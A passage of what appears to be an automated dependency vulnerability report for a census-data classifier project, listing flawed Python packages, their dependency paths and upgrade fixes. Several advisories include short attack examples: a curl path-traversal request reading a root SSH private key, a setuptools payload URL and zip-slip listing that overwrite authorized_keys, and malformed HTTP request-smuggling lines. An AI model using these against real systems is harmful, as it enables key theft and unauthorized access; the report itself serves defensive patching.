Upgrade fonttools to version 4.61.0 or higher.
References
medium severity
- Vulnerable module: zipp
- Introduced through: zipp@3.15.0, attrs@24.2.0 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › zipp@3.15.0Remediation: Upgrade to zipp@3.19.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › attrs@24.2.0 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to attrs@24.3.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › argcomplete@3.1.2 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to argcomplete@3.1.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to click@8.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › flatten-dict@0.4.2 › importlib-metadata@6.7.0 › zipp@3.15.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-core@2.4.3 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to google-cloud-core@2.4.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › gunicorn@23.0.0 › importlib-metadata@6.7.0 › zipp@3.15.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › numba@0.56.4 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to numba@0.58.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › pydantic@2.5.3 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to pydantic@2.6.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › typeguard@4.1.2 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to typeguard@4.1.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › hydra-core@1.3.2 › importlib-resources@5.12.0 › zipp@3.15.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6 › attrs@24.2.0 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to aiohttp@3.8.6.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › visions@0.7.5 › attrs@24.2.0 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to visions@0.7.6.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › knack@0.12.0 › argcomplete@3.1.2 › importlib-metadata@6.7.0 › zipp@3.15.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › click-didyoumean@0.3.1 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to click-didyoumean@0.3.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › click-plugins@1.1.1.2 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to click-plugins@1.1.1.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › click-repl@0.3.0 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › typer@0.16.0 › click@8.1.8 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to typer@0.16.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-cloud-core@2.4.3 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › numba@0.56.4 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › pydantic@2.5.3 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › typeguard@4.1.2 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6 › attrs@24.2.0 › importlib-metadata@6.7.0 › zipp@3.15.0
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › visions@0.7.5 › attrs@24.2.0 › importlib-metadata@6.7.0 › zipp@3.15.0Remediation: Upgrade to ydata-profiling@4.16.1.
Overview
Affected versions of this package are vulnerable to Infinite loop where an attacker can cause the application to stop responding by initiating a loop through functions affecting the Path module, such as joinpath, the overloaded division operator, and iterdir.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
Upgrade zipp to version 3.19.1 or higher.
References
medium severity
- Vulnerable module: setuptools
- Introduced through: numba@0.56.4 and ydata-profiling@4.16.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › numba@0.56.4 › setuptools@40.5.0Remediation: Upgrade to numba@0.57.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › numba@0.56.4 › setuptools@40.5.0Remediation: Upgrade to ydata-profiling@4.16.1.
Overview
Affected versions of this package are vulnerable to Directory Traversal through the PackageIndex._download_url method. Due to insufficient sanitization of special characters, an attacker can write files to arbitrary locations on the filesystem with the permissions of the process running the Python code. In certain scenarios, an attacker could potentially escalate to remote code execution by leveraging malicious URLs present in a package index.
PoC
python poc.py
# Payload file: http://localhost:8000/%2fhome%2fuser%2f.ssh%2fauthorized_keys
# Written to: /home/user/.ssh/authorized_keys
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade setuptools to version 78.1.1 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.9.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling due to improper validation of HTTP request elements. An attacker can potentially inject additional requests or cause unhandled exceptions leading to excessive resource consumption by exploiting leniencies in the HTTP parser and inconsistencies in error handling.
PoC
GET / HTTP/1ö1
GET / HTTP/1.𝟙
GET/: HTTP/1.1
Content-Encoding?: chunked
Remediation
Upgrade aiohttp to version 3.9.2 or higher.
References
medium severity
new
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.13.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling via the unicode processing of HTTP header values. An attacker can bypass firewall or proxy protections by sending requests containing non-ASCII characters.
Note: This is only exploitable if C extensions are not in use (pure python installation) or if the AIOHTTP_NO_EXTENSIONS environment variable is enabled.
Remediation
Upgrade aiohttp to version 3.13.3 or higher.
References
medium severity
new
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.13.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to HTTP Request Smuggling via the parsing of Range headers. An attacker can potentially interfere with HTTP request processing by supplying non-ASCII decimals in the header, which may lead to unexpected parser mismatches.
Remediation
Upgrade aiohttp to version 3.13.3 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.10.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp-retry@2.9.1 › aiohttp@3.8.6
Overview
Affected versions of this package are vulnerable to UNIX Symbolic Link (Symlink) Following through the FileResponse class due to improper validation for compressed variants. An attacker can access files outside the intended directory by manipulating symbolic links to point to restricted areas by performing Path.stat() and Path.open() to send the file.
Note
This vulnerability impacts servers with static routes that contain compressed variants as symbolic links pointing outside the root directory or that permit users to upload or create such links.
Remediation
Upgrade aiohttp to version 3.10.2 or higher.
References
medium severity
- Vulnerable module: cryptography
- Introduced through: cryptography@43.0.3, aliyun-python-sdk-core@2.16.0 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › cryptography@43.0.3Remediation: Upgrade to cryptography@44.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aliyun-python-sdk-core@2.16.0 › cryptography@43.0.3Remediation: Upgrade to aliyun-python-sdk-core@2.16.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › asyncssh@2.21.0 › cryptography@43.0.3Remediation: Upgrade to asyncssh@2.21.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › msal@1.33.0 › cryptography@43.0.3Remediation: Upgrade to msal@1.33.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › pyopenssl@24.2.1 › cryptography@43.0.3Remediation: Upgrade to pyopenssl@24.2.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aliyun-python-sdk-kms@2.16.5 › aliyun-python-sdk-core@2.16.0 › cryptography@43.0.3Remediation: Upgrade to aliyun-python-sdk-kms@2.16.5.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › oss2@2.18.4 › aliyun-python-sdk-core@2.16.0 › cryptography@43.0.3Remediation: Upgrade to oss2@2.18.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › sshfs@2025.2.0 › asyncssh@2.21.0 › cryptography@43.0.3Remediation: Upgrade to sshfs@2025.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › msal@1.33.0 › cryptography@43.0.3Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › oss2@2.18.4 › aliyun-python-sdk-kms@2.16.5 › aliyun-python-sdk-core@2.16.0 › cryptography@43.0.3Remediation: Upgrade to oss2@2.18.4.
Overview
Affected versions of this package are vulnerable to Missing Report of Error Condition causing server authentication failures to not be detected by clients, due to handshakes not aborting as expected when the SSL_VERIFY_PEER verification mode is set. An attacker could impersonate a legitimate server by performing a MitM attack on TLS and DTLS connections using Raw Public Keys (RPKs).
Note:
This is only exploitable if TLS clients explicitly enable RPK use by the server, and the server, likewise, enables sending of an RPK instead of an X.509 certificate chain. The affected clients are those that then rely on the handshake to fail when the server's RPK fails to match one of the expected public keys, by setting the verification mode to
SSL_VERIFY_PEER;Clients that enable server-side raw public keys can still find out that raw public key verification failed by calling
SSL_get_verify_result(). Those that do, and take appropriate action, are not affected.
Remediation
Upgrade cryptography to version 44.0.1 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: urllib3@2.0.7, requests@2.31.0 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › urllib3@2.0.7Remediation: Upgrade to urllib3@2.2.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to requests@2.32.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › msal@1.33.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to msal@1.33.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-api-core@2.25.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to requests-oauthlib@2.0.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › oss2@2.18.4 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to oss2@2.18.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › msal@1.33.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-python-client@2.177.0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-api-python-client@2.177.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-core@2.4.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-auth-oauthlib@1.2.2 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-auth-oauthlib@1.2.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Improper Removal of Sensitive Information Before Storage or Transfer due to the improper handling of the Proxy-Authorization header during cross-origin redirects when ProxyManager is not in use. When the conditions below are met, including non-recommended configurations, the contents of this header can be sent in an automatic HTTP redirect.
Notes:
To be vulnerable, the application must be doing all of the following:
Setting the
Proxy-Authorizationheader without using urllib3's built-in proxy support.Not disabling HTTP redirects (e.g. with
redirects=False)Either not using an HTTPS origin server, or having a proxy or target origin that redirects to a malicious origin.
Workarounds
Using the
Proxy-Authorizationheader with urllib3'sProxyManager.Disabling HTTP redirects using
redirects=Falsewhen sending requests.Not using the
Proxy-Authorizationheader.
Remediation
Upgrade urllib3 to version 1.26.19, 2.2.2 or higher.
References
medium severity
- Vulnerable module: urllib3
- Introduced through: urllib3@2.0.7, requests@2.31.0 and others
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › urllib3@2.0.7Remediation: Upgrade to urllib3@2.5.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to requests@2.32.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › msal@1.33.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to msal@1.33.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-api-core@2.25.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to requests-oauthlib@2.0.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › oss2@2.18.4 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to oss2@2.18.4.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › ydata-profiling@4.16.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to ydata-profiling@4.16.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › azure-datalake-store@0.0.53 › msal@1.33.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to azure-datalake-store@1.0.1.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-api-python-client@2.177.0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-api-python-client@2.177.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-core@2.4.3.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-auth-oauthlib@1.2.2 › requests-oauthlib@2.0.0 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-auth-oauthlib@1.2.2.
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › google-cloud-storage@3.2.0 › google-cloud-core@2.4.3 › google-api-core@2.25.1 › requests@2.31.0 › urllib3@2.0.7Remediation: Upgrade to google-cloud-storage@3.2.0.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to Open Redirect due to the retries parameter being ignored during PoolManager instantiation. An attacker can access unintended resources or endpoints by leveraging automatic redirects when the application expects redirects to be disabled at the connection pool level.
Note:
requests and botocore users are not affected.
Workaround
This can be mitigated by disabling redirects at the request() level instead of the PoolManager() level.
Remediation
Upgrade urllib3 to version 2.5.0 or higher.
References
medium severity
- Vulnerable module: aiohttp
- Introduced through: aiohttp@3.8.6 and aiohttp-retry@2.9.1
Detailed paths
-
Introduced through: IloBe/US_CensusData_Classifier_PipelineWithDeployment@IloBe/US_CensusData_Classifier_PipelineWithDeployment#f565df1b5d134f3732a8c913aaf865c63b00aab0 › aiohttp@3.8.6Remediation: Upgrade to aiohttp@3.9.2.
-
